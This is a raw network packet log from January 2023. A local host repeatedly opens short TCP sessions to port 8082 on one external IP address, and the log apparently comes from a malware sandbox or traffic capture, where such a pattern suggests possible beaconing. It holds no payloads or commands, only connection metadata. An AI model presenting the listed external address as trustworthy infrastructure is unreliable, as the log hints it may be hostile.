Jan 8, 2023 16:10:01.475277901 CET	8082	50117	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:01.475311995 CET	50117	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:01.475326061 CET	8082	50117	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:01.475377083 CET	50117	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:01.475378036 CET	50117	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:01.475898981 CET	50117	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:01.590446949 CET	8082	50117	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:02.178874016 CET	50118	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:02.293405056 CET	8082	50118	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:02.293606043 CET	50118	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:02.470052958 CET	50118	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:02.585006952 CET	8082	50118	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:02.589082003 CET	8082	50118	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:02.589128017 CET	8082	50118	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:02.589243889 CET	50118	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:02.589292049 CET	50118	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:02.589608908 CET	8082	50118	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:02.589694023 CET	50118	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:02.785908937 CET	50118	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:02.900188923 CET	8082	50118	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:02.922849894 CET	50119	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:03.037405968 CET	8082	50119	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:03.037594080 CET	50119	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:03.038050890 CET	50119	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:03.152009964 CET	8082	50119	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:03.158992052 CET	8082	50119	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:03.159025908 CET	8082	50119	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:03.159044981 CET	8082	50119	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:03.159113884 CET	50119	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:03.159146070 CET	50119	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:03.169384956 CET	50119	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:03.283437967 CET	8082	50119	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:03.324712038 CET	50120	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:03.439100981 CET	8082	50120	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:03.439246893 CET	50120	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:03.440136909 CET	50120	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:03.554286003 CET	8082	50120	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:03.559478045 CET	8082	50120	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:03.559545040 CET	8082	50120	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:03.559626102 CET	8082	50120	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:03.559684038 CET	50120	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:03.559741020 CET	50120	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:03.561120033 CET	50120	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:03.675045967 CET	8082	50120	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:03.684808969 CET	50121	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:03.799196959 CET	8082	50121	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:03.799411058 CET	50121	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:03.800287008 CET	50121	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:03.914264917 CET	8082	50121	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:03.920134068 CET	8082	50121	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:03.920176983 CET	8082	50121	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:03.920202017 CET	8082	50121	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:03.920263052 CET	50121	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:03.920329094 CET	50121	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:03.933188915 CET	50121	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:04.047806025 CET	8082	50121	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:04.059171915 CET	50122	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:04.173391104 CET	8082	50122	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:04.173655987 CET	50122	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:04.176182032 CET	50122	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:04.290102959 CET	8082	50122	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:04.294893026 CET	8082	50122	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:04.294930935 CET	8082	50122	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:04.294959068 CET	8082	50122	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:04.294974089 CET	50122	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:04.295006990 CET	50122	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:04.295022964 CET	50122	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:04.295556068 CET	50122	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:04.409461975 CET	8082	50122	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:04.438565016 CET	50123	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:04.552903891 CET	8082	50123	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:04.553107977 CET	50123	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:04.553749084 CET	50123	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:04.668036938 CET	8082	50123	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:04.672720909 CET	8082	50123	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:04.672808886 CET	8082	50123	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:04.672883987 CET	8082	50123	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:04.673007965 CET	50123	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:04.673065901 CET	50123	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:04.674184084 CET	50123	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:04.788471937 CET	8082	50123	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:04.813945055 CET	50124	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:04.928330898 CET	8082	50124	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:04.928555965 CET	50124	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:04.929039001 CET	50124	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:05.043332100 CET	8082	50124	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:05.047152042 CET	8082	50124	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:05.047235966 CET	8082	50124	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:05.047265053 CET	8082	50124	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:05.047259092 CET	50124	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:05.047342062 CET	50124	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:05.047342062 CET	50124	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:05.068700075 CET	50124	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:05.182984114 CET	8082	50124	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:05.209132910 CET	50125	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:05.324271917 CET	8082	50125	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:05.324498892 CET	50125	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:05.325201988 CET	50125	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:05.439188004 CET	8082	50125	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:05.443470001 CET	8082	50125	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:05.443510056 CET	8082	50125	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:05.443670034 CET	50125	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:05.444130898 CET	8082	50125	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:05.444230080 CET	50125	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:05.444808006 CET	50125	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:05.558554888 CET	8082	50125	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:05.577260017 CET	50126	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:05.691593885 CET	8082	50126	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:05.691852093 CET	50126	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:05.692693949 CET	50126	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:05.806471109 CET	8082	50126	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:05.811120033 CET	8082	50126	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:05.811168909 CET	8082	50126	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:05.811188936 CET	8082	50126	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:05.811259985 CET	50126	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:05.812221050 CET	50126	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:05.823049068 CET	50126	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:05.937237978 CET	8082	50126	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:05.949305058 CET	50127	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:06.063642979 CET	8082	50127	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:06.063724041 CET	50127	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:06.064582109 CET	50127	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:06.178491116 CET	8082	50127	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:06.182940006 CET	8082	50127	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:06.182991028 CET	8082	50127	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:06.183036089 CET	50127	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:06.183074951 CET	50127	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:06.183171988 CET	8082	50127	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:06.183227062 CET	50127	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:06.194318056 CET	50127	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:06.308599949 CET	8082	50127	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:06.328234911 CET	50128	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:06.442517042 CET	8082	50128	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:06.442754030 CET	50128	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:06.443304062 CET	50128	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:06.557571888 CET	8082	50128	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:06.561249018 CET	8082	50128	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:06.561305046 CET	8082	50128	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:06.561341047 CET	8082	50128	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:06.561361074 CET	50128	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:06.561425924 CET	50128	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:06.561425924 CET	50128	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:06.561882973 CET	50128	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:06.675501108 CET	8082	50128	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:06.693036079 CET	50129	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:06.807698965 CET	8082	50129	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:06.807874918 CET	50129	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:06.816415071 CET	50129	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:06.931185007 CET	8082	50129	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:06.935683012 CET	8082	50129	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:06.935758114 CET	8082	50129	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:06.935800076 CET	8082	50129	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:06.936012983 CET	50129	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:06.936790943 CET	50129	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:07.050753117 CET	8082	50129	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:07.076527119 CET	50130	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:07.192970991 CET	8082	50130	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:07.193240881 CET	50130	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:07.194727898 CET	50130	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:07.309448004 CET	8082	50130	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:07.313962936 CET	8082	50130	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:07.313998938 CET	8082	50130	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:07.314017057 CET	8082	50130	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:07.314153910 CET	50130	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:07.314192057 CET	50130	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:07.328588009 CET	50130	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:07.442596912 CET	8082	50130	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:07.483259916 CET	50131	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:07.598510027 CET	8082	50131	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:07.598776102 CET	50131	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:07.599224091 CET	50131	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:07.713359118 CET	8082	50131	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:07.716993093 CET	8082	50131	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:07.717065096 CET	8082	50131	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:07.717111111 CET	50131	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:07.717124939 CET	8082	50131	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:07.717143059 CET	50131	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:07.717191935 CET	50131	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:07.717890978 CET	50131	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:07.831948042 CET	8082	50131	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:07.861718893 CET	50132	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:07.976576090 CET	8082	50132	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:07.979299068 CET	50132	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:07.979950905 CET	50132	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:08.095153093 CET	8082	50132	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:08.100385904 CET	8082	50132	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:08.100425005 CET	8082	50132	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:08.100442886 CET	8082	50132	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:08.100598097 CET	50132	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:08.103351116 CET	50132	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:08.217225075 CET	8082	50132	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:08.250329018 CET	50133	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:08.364566088 CET	8082	50133	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:08.364850998 CET	50133	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:08.366096020 CET	50133	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:08.481121063 CET	8082	50133	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:08.485394955 CET	8082	50133	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:08.485434055 CET	8082	50133	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:08.485450029 CET	8082	50133	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:08.485776901 CET	50133	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:08.497098923 CET	50133	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:08.611354113 CET	8082	50133	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:08.626410961 CET	50134	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:08.741211891 CET	8082	50134	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:08.741473913 CET	50134	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:08.741970062 CET	50134	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:08.857738972 CET	8082	50134	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:08.863287926 CET	8082	50134	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:08.863326073 CET	8082	50134	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:08.863403082 CET	8082	50134	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:08.863457918 CET	50134	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:08.863512993 CET	50134	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:08.865061998 CET	50134	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:08.979137897 CET	8082	50134	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:08.999902010 CET	50135	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:09.114202976 CET	8082	50135	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:09.114474058 CET	50135	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:09.125281096 CET	50135	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:09.239609003 CET	8082	50135	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:09.243776083 CET	8082	50135	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:09.243813038 CET	8082	50135	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:09.243886948 CET	50135	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:09.243886948 CET	50135	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:09.244030952 CET	8082	50135	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:09.244086027 CET	50135	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:09.244455099 CET	50135	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:09.358261108 CET	8082	50135	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:09.374943972 CET	50136	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:09.491849899 CET	8082	50136	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:09.491974115 CET	50136	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:12.377424955 CET	50136	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:12.491714954 CET	8082	50136	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:12.491857052 CET	50136	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:12.492676973 CET	50136	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:12.606787920 CET	8082	50136	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:12.610923052 CET	8082	50136	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:12.610969067 CET	8082	50136	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:12.611022949 CET	50136	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:12.611066103 CET	50136	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:12.611428976 CET	8082	50136	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:12.611490011 CET	50136	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:12.624183893 CET	50136	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:12.738711119 CET	8082	50136	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:12.757091999 CET	50137	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:12.873260975 CET	8082	50137	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:12.873601913 CET	50137	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:12.874109030 CET	50137	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:12.988169909 CET	8082	50137	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:12.992875099 CET	8082	50137	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:12.993001938 CET	8082	50137	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:12.993127108 CET	50137	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:12.993127108 CET	50137	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:12.993185997 CET	8082	50137	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:12.993274927 CET	50137	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:12.993695021 CET	50137	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:13.108885050 CET	8082	50137	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:13.124630928 CET	50138	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:13.239624023 CET	8082	50138	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:13.239752054 CET	50138	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:13.240371943 CET	50138	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:13.354511976 CET	8082	50138	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:13.357852936 CET	8082	50138	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:13.357932091 CET	8082	50138	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:13.357990980 CET	50138	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:13.358037949 CET	50138	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:13.358268976 CET	8082	50138	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:13.358338118 CET	50138	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:13.358788013 CET	50138	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:13.474689007 CET	8082	50138	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:13.489535093 CET	50139	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:13.603869915 CET	8082	50139	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:13.605815887 CET	50139	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:13.606518030 CET	50139	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:13.720438004 CET	8082	50139	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:13.725397110 CET	8082	50139	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:13.725445986 CET	8082	50139	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:13.725500107 CET	8082	50139	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:13.725543976 CET	50139	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:13.725603104 CET	50139	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:13.749512911 CET	50139	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:13.865097046 CET	8082	50139	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:13.882302046 CET	50140	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:13.996743917 CET	8082	50140	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:14.001831055 CET	50140	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:14.002284050 CET	50140	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:14.116282940 CET	8082	50140	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:14.120651007 CET	8082	50140	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:14.120698929 CET	8082	50140	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:14.120721102 CET	8082	50140	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:14.120820045 CET	50140	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:14.120868921 CET	50140	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:14.121426105 CET	50140	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:14.239336967 CET	8082	50140	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:14.247924089 CET	50141	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:14.363121033 CET	8082	50141	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:14.363312006 CET	50141	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:14.363837957 CET	50141	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:14.478873014 CET	8082	50141	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:14.483874083 CET	8082	50141	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:14.483922958 CET	8082	50141	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:14.483947039 CET	8082	50141	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:14.484045029 CET	50141	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:14.484088898 CET	50141	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:14.484636068 CET	50141	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:14.598510981 CET	8082	50141	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:14.611527920 CET	50142	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:14.727574110 CET	8082	50142	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:14.727718115 CET	50142	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:14.728782892 CET	50142	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:14.845537901 CET	8082	50142	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:14.849278927 CET	8082	50142	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:14.849319935 CET	8082	50142	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:14.849417925 CET	50142	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:14.849452972 CET	50142	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:14.849618912 CET	8082	50142	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:14.849675894 CET	50142	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:14.859085083 CET	50142	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:14.973390102 CET	8082	50142	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:14.988954067 CET	50143	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:15.105079889 CET	8082	50143	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:15.105297089 CET	50143	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:15.106142044 CET	50143	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:15.220133066 CET	8082	50143	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:15.223501921 CET	8082	50143	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:15.223539114 CET	8082	50143	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:15.223556042 CET	8082	50143	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:15.223598957 CET	50143	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:15.223643064 CET	50143	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:15.224281073 CET	50143	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:15.338089943 CET	8082	50143	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:15.359220028 CET	50144	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:15.474252939 CET	8082	50144	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:15.474452019 CET	50144	8082	192.168.2.6	20.104.209.69
